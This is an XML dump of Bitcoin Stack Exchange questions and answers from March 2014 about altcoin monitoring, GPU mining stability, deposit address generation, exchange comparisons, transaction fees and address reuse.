  <row Id="23808" PostTypeId="1" AcceptedAnswerId="23813" CreationDate="2014-03-21T13:31:36.947" Score="1" ViewCount="293" Body="&lt;p&gt;Different coins have their own blocks and wallets, I want to build application to support multiple coins and my questions is Monitoring all coins possible(view transactions, get balance etc)?&lt;/p&gt;&#xA;" OwnerUserId="12634" LastActivityDate="2014-03-21T14:37:51.540" Title="Is it possible to monitor all crypto-coins?" Tags="|transactions|bitcoind|balance|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23809" PostTypeId="2" ParentId="22217" CreationDate="2014-03-21T14:05:25.543" Score="1" Body="&lt;p&gt;I eventually figured out this problem, and it was solved by lowering the voltage on the cards to 1100 or 1150.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stock Sapphire 7950 boost cards are volted at 1250, and when running both cards concurrently it was making the system unstable and thus it would crash.  Even so, I would have expected a Corsair CX750 to still be able to handle them both, but it seems not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lowering the voltage through Sapphire Trixx makes the whole rig stable, and I can now run at 18/19 intensity without any problems. Heck I might even try 20 soon ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps anybody out in the same situation.&lt;/p&gt;&#xA;" OwnerUserId="12757" LastActivityDate="2014-03-21T14:05:25.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23810" PostTypeId="2" ParentId="22545" CreationDate="2014-03-21T14:08:08.437" Score="0" Body="&lt;p&gt;I eventually figured out this problem, and it was solved by lowering the voltage on the cards to 1100 or 1150.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stock Sapphire 7950 boost cards are volted at 1250, and when running both cards concurrently it was making the system unstable and thus it would crash.  Even so, I would have expected a Corsair CX750 to still be able to handle them both, but it seems not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lowering the voltage through Sapphire Trixx makes the whole rig stable, and I can now run at 18/19 intensity without any problems. Heck I might even try 20 soon ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps anybody out in the same situation.&lt;/p&gt;&#xA;" OwnerUserId="12757" LastActivityDate="2014-03-21T14:08:08.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23811" PostTypeId="2" ParentId="23702" CreationDate="2014-03-21T14:13:49.973" Score="2" Body="&lt;p&gt;I Think there is some confusion here regarding the generating of new address's within a wallet and the generation of Vanity Address's. Based on &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there any easiest way to generate coin address for all coins or can anybody tell how cryptsy do this for all coins?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I Believe what you are asking is how can you setup a system which enables users to have address's for all the different alt-coins.  This being the case you cannot do this using JUST the bitcoin software, you would need a copy of the client software for each coin you would like to generate address's for.  Then assuming you are trying to setup a Cryptocoin trading exchange similar to Cryptsy then from within the balances page (using Cryptsy as the example) when you click on a currency here and go to &quot;Deposit / Autosell &quot;  It then has the &quot;Generate New Deposit Address&quot; This will most likely be making a call to the client for the currency you have selected like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;altcoind getnewaddress $cryptsy-username&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or something similar obviously altcoind would be amended forthe currency you actually wanted to generate the address for,  and the actual code to make the RPC call will be very differnt from the above, and will vary in different languages.  A good guide on implimenting RPC call's into code can be found here: &lt;a href=&quot;https://en.bitcoin.it/wiki/API_reference_(JSON-RPC)&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/API_reference_(JSON-RPC)&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="13963" LastActivityDate="2014-03-21T14:13:49.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23812" PostTypeId="2" ParentId="23610" CreationDate="2014-03-21T14:35:57.840" Score="1" Body="&lt;p&gt;I believe that international transfers and microinvesting are two things which are well suited to bitcoin but near impossible with traditional fiat. The $5/trade fee is what kept me out of the stock market; with the flat fee in cryptocurrency trading, once you have money on the exchange you can buy or sell any amount you please!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, there is the issue of AML when it comes to bitcoin, and it is harder to mediate than with traditional payment systems.&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-03-21T14:35:57.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23813" PostTypeId="2" ParentId="23808" CreationDate="2014-03-21T14:37:51.540" Score="2" Body="&lt;p&gt;You would need to install all of the coin daemons and scrape them for transactions using something like Abe, or your own custom solution using RPC commands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are able to find an API which provides this information (I have yet to find one with a good amount of coins and reliable), then you could simply make calls to that; the only problem with using an API is that you are dependent on them and if they go offline, so do you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My recommendation, get a VPS and start installing some coins :)&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-03-21T14:37:51.540" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23814" PostTypeId="1" CreationDate="2014-03-21T14:46:21.673" Score="2" ViewCount="229" Body="&lt;p&gt;I am trying to build a small project of mine using historical prices for major alternative currencies such as LTC, DGC, MOON, TIPS, etc and so far I managed to collect only current prices of cryptsy API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which APIs provide historical data?&lt;/p&gt;&#xA;" OwnerUserId="5366" LastActivityDate="2014-03-21T14:46:21.673" Title="Historical prices via API for major alts (not BTC)" Tags="|bitcoind|client|litecoin|api|" AnswerCount="0" CommentCount="1" ClosedDate="2019-07-17T20:51:11.450" ContentLicense="CC BY-SA 3.0" />
  <row Id="23816" PostTypeId="2" ParentId="23610" CreationDate="2014-03-21T15:17:55.127" Score="3" Body="&lt;p&gt;&lt;em&gt;&lt;strong&gt;Advantages of BTC stock exchanges&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1) Speed of deposits and withdrawals&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ordinary investors (in USA where there is no SEPA) use ACH transfers or checks to fund their brokerage accounts. ACH transfers take 3 business days and make no progress on the weekends. After this is in the brokerage account it takes another 3 days for the cash to &quot;settle&quot;. So in an extreme case where there is a holiday weekend, a money transfer to a stock exchange (with the intent to buy stock based on new time sensitive information) on a Thursday will take&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(1) Friday, (1) Saturday, (1) Sunday, (1) Holiday Monday, (2), Tuesday, (3) Wednesday, (1-Settle) Thursday , (2-Settle) Friday, (2-Settle) Saturday, (2-Settle) Sunday, (3-Settle) Monday, (Tradeable) Tuesday&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Software as a Service bitcoin denominated stock exchanges (this is also known as &quot;centralized&quot;) this takes just a few confirmations which will average an thirty minutes (3 confirmations) to an hour (6 confirmations) to fund an account, and the bitcoin is immediately then available for trading. For trades requiring less time to profit, the user can limit exchange risk by withdrawing their bitcoin from an exchange when they are not using it, and this only takes another the time for it to confirm to their personal addresses. Using ACH transfer from a fiat exchange will again require 3 business day cash settlement time (for stock sells, derivatives have 1 business day cash settlement time) and an additional 3 business days to reach their actual bank account. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this investor is using a check from the brokerage, the time is further compounded by an 3 business days in snail mail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But Wire/SWIFT transfers obviously aren't much better, due to the cash settlement time before the transfer happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a decentralized exchange (using mastercoin protocol, counterparty, or colored coins), one does not need to &quot;deposit&quot; bitcoin at all, but the sacrifice being the stock trades themselves are at the mercy of the confirmation speed, so many kinds of trading (time sensitive under 30 minutes) are not practical, but investing and swing trading is. Colored Coin protocol does not have this sacrifice. On decentralized exchanges AML is impossible barring some future invention that attempts to make some bitcoin tainted to the entire network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2) More liquid and greater fungibility: Investment funds can be spent for goods and services, indistinct from a personal wallet's funds.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On fiat stock exchanges, brokerages create investment accounts where cash has to &quot;settle&quot; and be transferred to a bank account before it can be spent on goods and services. We have already established that this can take two weeks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On bitcoin exchanges, the user's exchange addresses (accounts) are indistinct from their personal accounts. On the centralized exchanges, they function as hosted wallets, if userA wants to get paid to a bitcoin address, userB doesn't know if the requested address is being accessed on bitcoin-QT or tied to an account on a stock exchange. Similarly if userA wants to send funds from a stock exchange they can simply 'withdraw' it to userB's requested address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On decentralized exchanges, once again the user's funds have never left their private wallet to begin with and there is no concept of withdrawing before money can be spent on goods and services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3) Economic freedom. Invest in companies in any jurisdiction in the world, and for-profit decentralized services that have no jurisdiction.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fiat stock markets, a company has to list in each individual market in each individual country, and investors outside of those markets/countries cannot invest. (If an investor has practical access to invest in foreign stock markets, they are not your ordinary investor). Also many markets and countries have capital controls as well as socioeconomic barriers to entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In bitcoin stock exchanges, these barriers do not exist. If you want to invest in a hot sector in Gangzhou China or Missouri USA, you can just do that. On centralized exchanges, site operators have at some points attempted to limit people from certain countries (america) from accessing their markets, due to liability issues. With decentralized exchanges there is no practical way to limit access in this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;4) Low to nonexistent costs to listing a company.&lt;/strong&gt;&#xA;Many more types of crowdfunding can take place since hundreds of thousands of dollars in legals fees are not necessary to create an asset for trading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;5) Smaller investors can invest.&lt;/strong&gt;&#xA;In fiat stock exchanges, minimum funding requirements can be $2,000 for a margin account or minimum account size at all. Its fun to tell teenagers to invest $100 a week in a stock so they'll be rich by the time they are 50, but no decent brokerage will let them open an account, and they'll be better off trading Nike shoes and go on to other frivolous activities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In bitcoin stock exchanges this doesn't exist. Some centralized exchanges have high fees to enter, decentralized exchanges cannot barring a future protocol that does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;6) Lower fees to trade.&lt;/strong&gt;&#xA;centralized exchanges have their own trading fees. decentralized exchanges will only have the network fee and whatever their protocol requires.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;fiat stock market fees can be much higher, at 'discount brokerages', in direct access markets, and in tailored investment firms (bucket shops)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;7) Data feeds are not delayed, free&lt;/strong&gt;&#xA;Fiat stock markets give delayed data unless the investor goes out of their way to find better and better data with more and more custom tailored services. It is only a fairly recent change that an individual investor can get live quotes across exchanges at all, let alone level 2 order book information. But even then, this investor has to do a lot of research to find ways to do this cheaply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No bitcoin stock exchange delays data. This would actually be hard to do. This is impossible on decentralized exchanges and no centralized exchange would gain a community if they did that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;8) Free API access&lt;/strong&gt;&#xA;In fiat stock markets, getting API access to data feeds is impossible or very expensive. Nasdaq charges $6,000 a month for this access, and the protocol (FIX) is very antiquated compared to JSON and restful services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin stock exchanges all user modern JSON, some use various forms of restful services and Oauth. All provide this for free, not as a courtesy but because that is modern and the data is there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now ordinary investors are able to both VIEW live data and retrieve it via API for their own applications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With fiat stock exchanges, making trading applications such as automated bots were largely out of reach for ordinary investors due to the restrictions in data access, contributing to an illusion that &quot;High Frequency Trading&quot; was an unattainable mystical trade reserved for the mystical quantitative programmers in secretive hedge funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;9) 24/7 market hours&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin stock exchanges never close. Trade any asset any hour of the day. There are no gap ups and gap downs due to information coming out while markets were closed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an advantage because information can become available at any time for a security in any part of the world.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In centralized exchanges, implementing &quot;closed&quot; hours is difficult (but a future exchange may opt to do this), and in decentralized exchanges this is impossible barring some future protocol change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Advantage of fiat stock exchanges&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1) Margin, lots and lots of margin.&lt;/strong&gt; bitcoin currently does not have a practical way to offer margin for stocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2) SIPC insurance, for stocks.&lt;/strong&gt; If the exchange shuts down many regulatory environments have a way for depositors to get their money back up to a point.&lt;/p&gt;&#xA;" OwnerUserId="3047" LastEditorUserId="3047" LastEditDate="2014-03-25T15:30:32.793" LastActivityDate="2014-03-25T15:30:32.793" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23818" PostTypeId="1" CreationDate="2014-03-21T15:37:33.193" Score="-2" ViewCount="91" Body="&lt;p&gt;I would like to know what transaction fees are for, what they represent and how does one make money on these transactions? &lt;/p&gt;&#xA;" OwnerUserId="14248" LastActivityDate="2014-03-21T16:18:50.680" Title="What are transaction fees" Tags="|transactions|" AnswerCount="1" CommentCount="0" ClosedDate="2014-03-22T06:50:27.967" ContentLicense="CC BY-SA 3.0" />
  <row Id="23819" PostTypeId="1" CreationDate="2014-03-21T16:10:37.317" Score="0" ViewCount="159" Body="&lt;p&gt;The transaction can be tracked at &lt;a href=&quot;https://blockchain.info/tx/47068b561814a19a9613946185d527c7ba6eb3b6ed0cf17554fc80c27d7f0d4e?show_adv=false&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/47068b561814a19a9613946185d527c7ba6eb3b6ed0cf17554fc80c27d7f0d4e?show_adv=false&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although the transaction has been already been confirmed many times the balance of the destination account 1AQ27x3NQDpj5AGjGAKkvrcJW4RWvmhstX still shows 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Coinbase source account &lt;a href=&quot;https://blockchain.info/address/127SXekKqYsY6EbASqkvSZ4ZfF31qGKG93&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/address/127SXekKqYsY6EbASqkvSZ4ZfF31qGKG93&lt;/a&gt; shows &quot;No transactions found for this address, it has probably not been used on the network yet.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that phantom transaction?&lt;/p&gt;&#xA;" OwnerUserId="14730" LastActivityDate="2014-03-21T17:44:10.577" Title="Coinbase outgoing transaction never changed destination account balance?" Tags="|coinbase.com|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23820" PostTypeId="2" ParentId="23818" CreationDate="2014-03-21T16:18:50.680" Score="0" Body="&lt;p&gt;Transactions fees are another incentive for miners to mine bitcoin. When you make a payment you segguest a fee for the miners to verify and approve it. A miner that verifies your payment recieves the fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the way to make money from transactions fees is simply to be a bitcoin miner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today, new bitcoins are created as a reward for bitcoin miners. This reward gradually decreases and in the future the reward for mining will be solely from transaction fees, and the amount of bitcoin in the world will be constant at around 21 million.&lt;/p&gt;&#xA;" OwnerUserId="14731" LastActivityDate="2014-03-21T16:18:50.680" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23821" PostTypeId="1" AcceptedAnswerId="32303" CreationDate="2014-03-21T16:34:37.097" Score="1" ViewCount="2095" Body="&lt;p&gt;My name is Ben and I'm working with a server technician called Fab.&lt;/p&gt;&#xA;&lt;p&gt;We are using Team-viewer to work together on this question to make it as concise and to the point as possible.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;We have set up a Ubuntu 13.10 VPS server&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Next we downloaded &lt;a href=&quot;http://www.forked.net/%7Eapex/cgmon/cgmon.tcl&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.forked.net/~apex/cgmon/cgmon.tcl&lt;/a&gt; (a &lt;a href=&quot;http://en.wikipedia.org/wiki/Tcl&quot; rel=&quot;nofollow noreferrer&quot;&gt;.Tcl script&lt;/a&gt; found on this forum page: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=353436.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitcointalk.org/index.php?topic=353436.0&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;(Fab:)We managed to install X Server and Lite KDE Desktop environment, and we can successfully connect via VNC to the VPS desktop.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;(Fab:) &lt;strong&gt;So now:&lt;/strong&gt; what we would like to understand is whether the host machine where the VPS container is sitting must have a graphics card or if mining using a VPS server could be achieved even without the host server having a physical card, perhaps in a different/emulated way?&lt;/p&gt;&#xA;&lt;h2&gt;The Theory&lt;/h2&gt;&#xA;&lt;p&gt;Now we also want to hook this all up to Cairo grahics lib &lt;a href=&quot;http://cairographics.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://cairographics.org/&lt;/a&gt; (this is a pure c++ graphic processing library for pre-generating images on the server side so there should be no need for a graphics card).&lt;/p&gt;&#xA;&lt;p&gt;My personal line of thought (Ben's) is that a hash has binary data.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;UFUYFYF*^R&amp;amp;^R*IYG*R*FUYFUYFUDKYTDLUFU...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;but much longer...&lt;/p&gt;&#xA;&lt;p&gt;now go and get any image from your desktop and open it with a text editor and you will see some thing like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ÿØÿà JFIF  H H  ÿÛ C ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The difference is not much (in my opinion) because graphics cards are made to process images such as .jpg / .png/ .gif/ .bmp, etc. They do this very fast because the start of the file or maybe even the extension is telling the graphics card how to decrypt; where as a hash is the same, only the description method is a secret that must be tried with many variations of description (hence the term hashing refers to multiple attempts).&lt;/p&gt;&#xA;&lt;p&gt;Now If you read the wiki link above it explains that Tcl was originally &amp;quot;born out of frustration&amp;quot; and If you scroll down the Wiki to &lt;strong&gt;Features&lt;/strong&gt; one listed is: Extensibility, via C, C++, Java, and Tcl.&lt;/p&gt;&#xA;&lt;p&gt;So, seen as libcairo is pure c++ and Tcl can run C++ commands, what I would like to know is how can we link the two...&lt;/p&gt;&#xA;" OwnerUserId="14316" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2016-07-27T12:17:03.913" Title="Can I emulate a graphics card using software, and use it for mining?" Tags="|gpu-mining|mining-software|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23822" PostTypeId="1" CreationDate="2014-03-21T17:09:53.803" Score="1" ViewCount="126" Body="&lt;p&gt;I understand that an address is needed to send Bitcoins to other people, but I do not understand why you are recommended to generate a new address for each transaction. Also, I have read that an address can be saved for easy payment in the future, but I don't understand how this function would be possible if new addresses are generated every payment. Thanks so much for your time and help! It is much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="14732" LastActivityDate="2014-03-21T18:14:55.557" Title="How Do Addresses Function?" Tags="|address|address-generation|" AnswerCount="2" CommentCount="1" ClosedDate="2014-03-31T11:49:51.283" ContentLicense="CC BY-SA 3.0" />
  <row Id="23823" PostTypeId="2" ParentId="23822" CreationDate="2014-03-21T17:37:09.113" Score="0" Body="&lt;p&gt;The simple answer is you have a keypair for each bitcoin address, public key &amp;amp; private key, you can think of this as a username (public key) and password (private key). You can share your username/public key with as many people as you'd like, whether you know/trust them or not, of course you must keep your private key to yourself. The interesting part is that the public key is derived from the private key, and you sign messages with your private key to prove that you know it without giving away what the private key actually is (this is verified by comparing your public key with the message you signed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The technical way that you create a private key can be found at the offical bitcoin wiki here: &lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_version_1_Bitcoin_addresses&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Technical_background_of_version_1_Bitcoin_addresses&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This wiki has a LOT of information, and is the most accurate source on bitcoin related information I have found to date.&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-03-21T17:37:09.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23824" PostTypeId="2" ParentId="21513" CreationDate="2014-03-21T17:41:39.213" Score="5" Body="&lt;p&gt;It is possible, and not conceptually difficult, to extend the way ownership of Bitcoin is determined in a decentralized way using the blockchain to more complicated constructs such as the ownership of other things or the commitment to contracts, including offers to trade at certain prices. Yet there are two nontrivial issues a decentralized exchange, or its underlying protocol has to solve: How to enforce trades (solving the counter-party risk any exchange has), and how to detect if a trade has occurred.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously there are many ways all of this could be settled. For example, exchanges in real finance leave fulfillment and enforcement to the trading parties and the authorities, but that has huge real-world problems even with a limited number of tightly regulated and registered participants that one may hope to avoid in a decentralized approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a simple solution for exchanging (specially designed) cryptocurrencies where ownership and contract fulfillment is determined by a blockchain. At least typically, protocols enabling a decentralized exchange include at least one such cryptocurrency, such that as a partial solution an automatic escrow can be implemented. But full automation requires that the ownership of the other currency involved in the exchange can also be automatically established, i.e. it must also be some kind of altcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To extend this to cover fiat currency, there must be some form of agreement to honor the obligation to transfer fiat and to reflect its completion in the decentralized exchange. Sadly, this is at the core of all kinds of blockchain-based contracts: How do we get them to be enforceable, ideally by becoming legally binding? I see two possibilities:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Limit trading to participants that sign some kind of real-world contract to honor them in a way that makes them legally enforceable. This has the problem of being difficult to do in a truly decentralized way, unless legal systems start to recognize at least some kind of digital id and digital contracts.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Require some kind of security deposit to be confiscated in case of breach of contract---possibly from both sides of a contract or exchange-brokered trade, to remove profitability for both sides in the event that one party fails to deliver a fiat payment or that the other party fails to admit having received it. Sadly, designing a system where it is ensured that no kind of fraud pays off is not easy and may require a very large security deposit, giving this approach severe disadvantages as well: A cyber-troll willing to suffer a loss could cause someone else to suffer an even larger loss (and potentially blackmail such a victim into letting the troll get away with a profit), and potential users wanting to use the exchange because they need cryptocurrency may find it difficult to cough up a cryptocurrency-based security deposit.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerDisplayName="user6049" LastEditorDisplayName="user6049" LastEditDate="2016-03-02T09:15:03.387" LastActivityDate="2016-03-02T09:15:03.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23825" PostTypeId="2" ParentId="23819" CreationDate="2014-03-21T17:44:10.577" Score="1" Body="&lt;p&gt;Blockchain.info must have missed a block or had some other complication with their database. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockr.io/address/info/127SXekKqYsY6EbASqkvSZ4ZfF31qGKG93&quot; rel=&quot;nofollow&quot;&gt;http://blockr.io/address/info/127SXekKqYsY6EbASqkvSZ4ZfF31qGKG93&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-03-21T17:44:10.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23826" PostTypeId="2" ParentId="23822" CreationDate="2014-03-21T18:14:55.557" Score="0" Body="&lt;p&gt;What they're saying is that you &lt;em&gt;can&lt;/em&gt; use an address repeatedly, but you &lt;em&gt;shouldn't&lt;/em&gt; because it hurts your privacy, and it hurts the privacy of anyone who sends a coins to a reused address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;New addresses are generated every payment as Change Addresses. As you may know, partial coins cannot be sent, just like you can't tear a banknote in half and give someone half of it. So every time you send someone money, unless it is a whole coin, your client will generate a new change address to receive change for. That is for &lt;strong&gt;sending&lt;/strong&gt; money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you want to &lt;strong&gt;receive&lt;/strong&gt; coins, you can just have a QR code that displays a single address that everyone can send to. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I say &quot;whole coins&quot; and &quot;partial coins&quot;, I don't mean ฿1, instead I mean the individual transactions' inputs and outputs. I could get into that if you ask.&lt;/p&gt;&#xA;" OwnerUserId="14149" LastActivityDate="2014-03-21T18:14:55.557" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23827" PostTypeId="2" ParentId="23805" CreationDate="2014-03-21T18:20:26.707" Score="1" Body="&lt;p&gt;If that does happen, all you need to do is spend your unconfirmed transaction's output with a sufficient fee. A &quot;sufficiently greedy miner&quot; will process both transactions just to get the fee of the latter.&lt;/p&gt;&#xA;" OwnerUserId="14149" LastActivityDate="2014-03-21T18:20:26.707" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23828" PostTypeId="1" AcceptedAnswerId="23829" CreationDate="2014-03-21T20:42:51.433" Score="1" ViewCount="531" Body="&lt;p&gt;sorry for the stupid question but I can not understand that I have missed.&#xA;I'm trying to use the wallet for removing unused addresses. I get a message has been deleted successfully, but the client I still see those addresses, it seems that the removal does not work. Maybe I missed something, please help.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jG5sc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14735" LastEditorUserId="14735" LastEditDate="2014-03-21T21:08:50.850" LastActivityDate="2014-03-21T21:08:50.850" Title="Delete bitcoin address using Pywallet" Tags="|wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23829" PostTypeId="2" ParentId="23828" CreationDate="2014-03-21T21:03:13.197" Score="0" Body="&lt;p&gt;Hmm this is very strange, make sure that on deleting your bitcoin client (Bitcoin QT etc) is closed.&lt;/p&gt;&#xA;" OwnerUserId="14736" LastActivityDate="2014-03-21T21:03:13.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23830" PostTypeId="2" ParentId="23761" CreationDate="2014-03-21T23:22:43.833" Score="0" Body="&lt;p&gt;Ok, took some doing but I figured it out!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems there a lot of which do not have submitblock in the source. Whether this is intended (mining advantages vs noobs) or just pure incompetence is not sure, but the solution requires minimal changes to the source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this which should help if you're having this issue: &lt;a href=&quot;https://github.com/earthcoinproject/earthcoin/commit/0b862e499e05386e333563656f84e99bad1b0290&quot; rel=&quot;nofollow&quot;&gt;https://github.com/earthcoinproject/earthcoin/commit/0b862e499e05386e333563656f84e99bad1b0290&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps another frustrated developer :)&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-03-21T23:22:43.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23832" PostTypeId="2" ParentId="21513" CreationDate="2014-03-22T00:16:03.443" Score="0" Body="&lt;p&gt;I believe it could technically happen with Mastercoin/coloured coins linked to a Ripple account, and the coöperation of a Ripple gateway: he whom holds the coin can withdraw fiat whenever they wish, after the gateway verifies the ownership of the token.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course it'd add the question of trust in the gateway: that it will not fall for scams, will do an adequate validation of the coin's ownership, will be sufficiently solvent at any point in time, etc. As with anything involving fiat, this would be unavoidable.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2014-03-22T00:16:03.443" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23833" PostTypeId="2" ParentId="23778" CreationDate="2014-03-22T00:43:23.560" Score="1" Body="&lt;p&gt;If your familiar with javascript then I think the easiest way to go would be to check out &lt;a href=&quot;https://github.com/bitcoinjs/bitcoinjs-lib&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoinjs/bitcoinjs-lib&lt;/a&gt; . They offer a client side solution for generating bitcoin address info.  Theres a few examples in the readme as well. &lt;/p&gt;&#xA;" OwnerUserId="14431" LastActivityDate="2014-03-22T00:43:23.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
